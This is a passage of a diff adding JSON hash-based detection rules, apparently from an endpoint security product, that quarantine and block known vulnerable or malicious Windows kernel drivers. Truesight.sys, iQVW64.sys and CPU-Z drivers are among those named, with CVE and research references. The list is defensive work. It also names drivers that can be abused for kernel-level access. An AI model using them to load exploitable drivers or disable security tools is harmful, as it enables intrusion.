+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "efb244d0-676f-5216-bfe1-945af34706c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972248Z",
+  "creation_date": "2026-03-23T11:45:29.972250Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972256Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "50bc80ebd0b61bc46a4cacb915602acdecaf47c5c767a020bf103c511327169d",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "efb24eae-ecab-599a-bd79-efbd5742e6ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159598Z",
+  "creation_date": "2026-03-23T11:45:31.159600Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159606Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74b5fca7c4240da63fde43eaebb9253fc09743f350b9ff3e4ca2eec24f264ac7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "efb36918-ccb4-57e2-8e7c-321ff1262f45",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823554Z",
+  "creation_date": "2026-03-23T11:45:30.823556Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823562Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a237ca9187b7a3b712c3d82e5a448e424502723bbb5ddc2b7031bc3fda427d39",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "efc0d5f3-03e6-56f9-9e0b-e144cf188019",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811916Z",
+  "creation_date": "2026-03-23T11:45:31.811918Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811923Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a915b38bdb60aee912061533f0ca8eb81919daa89b39857a35ec596975f6b4b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "efc2d080-97db-5f64-a0a2-bd163c629609",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830204Z",
+  "creation_date": "2026-03-23T11:45:31.830206Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b004a79cad9699b5442c85257e1a3f4730d5bb55858958c2de0da9f20c75585",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "efd232bd-abaf-5154-aca8-6d97381b1062",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146960Z",
+  "creation_date": "2026-03-23T11:45:32.146963Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146972Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17a997feed57712f46558b4c99766d5b7722e1b095133b6b391a4743140e45de",
+  "comment": "Vulnerable Kernel Driver (aka CSAgent.sys) [https://www.loldrivers.io/drivers/ca6455d1-b06e-496c-be33-f89c41b27540/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "efd4399e-86a5-5b68-905c-8f2a62601ef2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491760Z",
+  "creation_date": "2026-03-23T11:45:31.491762Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491768Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8671130cfa9caf8f7906a045ffe78863d90b39632b040c27b64c8e2e4ef6907e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "efe50127-f8fe-5435-a84a-ffbe52c3e57b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488081Z",
+  "creation_date": "2026-03-23T11:45:31.488083Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488088Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e6fa3809d27690bbafec8169babaebf7cad6bbc92a2da46bea44b6449a6555c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "efe550dc-8c22-5146-ab27-d9cc169ee7ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982922Z",
+  "creation_date": "2026-03-23T11:45:29.982924Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982929Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "87aae726bf7104aac8c8f566ea98f2b51a2bfb6097b6fc8aa1f70adeb4681e1b",
+  "comment": "Vulnerable Kernel Driver (aka WiseUnlo.sys) [https://www.loldrivers.io/drivers/b28cc2ee-d4a2-4fe4-9acb-a7a61cad20c6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "efffb64d-ef10-52c7-8bfa-266432c4c6e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151955Z",
+  "creation_date": "2026-03-23T11:45:31.151959Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151968Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7b70df6587cbc7ac03775ccc56a4e9968f043593e5b7f527ea16bafd83da91a5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f009da7d-f665-555f-aab6-c828df633274",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147518Z",
+  "creation_date": "2026-03-23T11:45:31.147520Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147525Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65e3626d970e6930fb0b845ca1b248d077b0b28344589b373a6bc4dd17a9d589",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f00ac7d0-b918-5151-b759-f7ef945aa72a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605612Z",
+  "creation_date": "2026-03-23T11:45:29.605614Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605619Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d944cd16626a5e72a3183a6e30e1b44807d4d48d41eb8904beda41de899634e2",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f016559d-ebea-57c9-aa04-28be1a2ca494",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144967Z",
+  "creation_date": "2026-03-23T11:45:32.144969Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144974Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d1ea9e16cefbec53a65a290bb42ee9d6e31218b9d4dfca676b66373cece9a54a",
+  "comment": "Malicious Kernel Driver (aka driver_d1ea9e16.sys) [https://www.loldrivers.io/drivers/8697785a-d088-42a7-ac25-b5c8a3b22664/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f019f337-4c4c-5e3f-b21e-2d853cc47595",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610353Z",
+  "creation_date": "2026-03-23T11:45:29.610355Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610360Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ef7df384e93951893b65500dac6ee09da6b8fe9128326caad41b8be4da49a1e",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f034cab5-d72a-524a-b8c5-d7cfc6f1cef6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146836Z",
+  "creation_date": "2026-03-23T11:45:32.146838Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146844Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb0dbc3b9c897b7571b94fb2203ffb1ac0facfe366b2cb1f91904ea5335018f0",
+  "comment": "Vulnerable Kernel Driver (aka BioNTdrv.sys) [https://www.loldrivers.io/drivers/e6378671-986d-42a1-8e7a-717117c83751/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f037a0a8-4c01-5be7-b117-b8209798deff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145131Z",
+  "creation_date": "2026-03-23T11:45:32.145133Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145139Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e38eb95fd1593c73311d426dbd85491494a4521aaa4c4ef66e02f7d6d0339171",
+  "comment": "Malicious Kernel Driver (aka driver_4f9b5a2f.sys) [https://www.loldrivers.io/drivers/b660d253-2b60-46c5-b95a-c354aa5eb154/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f03906e9-ffdf-5077-bd2a-d72b34806ee0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152548Z",
+  "creation_date": "2026-03-23T11:45:31.152552Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152557Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "56555f87cd6b154ea3ddc4195900fbea74f45cd8376b335864733fd4a51c69e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f0477214-7582-5bda-a0c9-8307b7b9469b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812379Z",
+  "creation_date": "2026-03-23T11:45:31.812383Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812391Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c02cc59bb4fbe9aa64762b1c91edf512cdfc12a9363d396864354d95d3b8492c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f04a159e-819d-5461-93fd-e0db9e3d8621",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140400Z",
+  "creation_date": "2026-03-23T11:45:31.140402Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140407Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "533efbc6f25ded2d796c0c96c8e1bc8b051117e1592b2e66eafe29faeb2b00b3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f0509759-837a-54d5-afdf-f48f3a85863f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612812Z",
+  "creation_date": "2026-03-23T11:45:29.612814Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612819Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4880f40f2e557cff38100620b9aa1a3a753cb693af16cd3d95841583edcb57a8",
+  "comment": "Marvin Test Solutions HW vulnerable driver (aka Hw.sys and Hw64.sys) [https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f056e731-5b05-58d5-90ca-2971569220f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454594Z",
+  "creation_date": "2026-03-23T11:45:30.454597Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454606Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e2a75c0a5e5cb6c28432ff796d5bd6cb154139498c23b2076b5db06b453acb4",
+  "comment": "Vulnerable Kernel Driver (aka kEvP64.sys) [https://www.loldrivers.io/drivers/fe2f68e1-e459-4802-9a9a-23bb3c2fd331/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f0589276-ba84-5e14-9475-6d65cc5c0998",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615623Z",
+  "creation_date": "2026-03-23T11:45:29.615625Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615631Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1795ec9d05d0efe56e76bf4b76a09a804d3cd5b0e75bc47049d5ee488fc2bec",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f05e2246-9183-5025-9309-244870ac083b",
+  "test_maturity_current_count": 0,
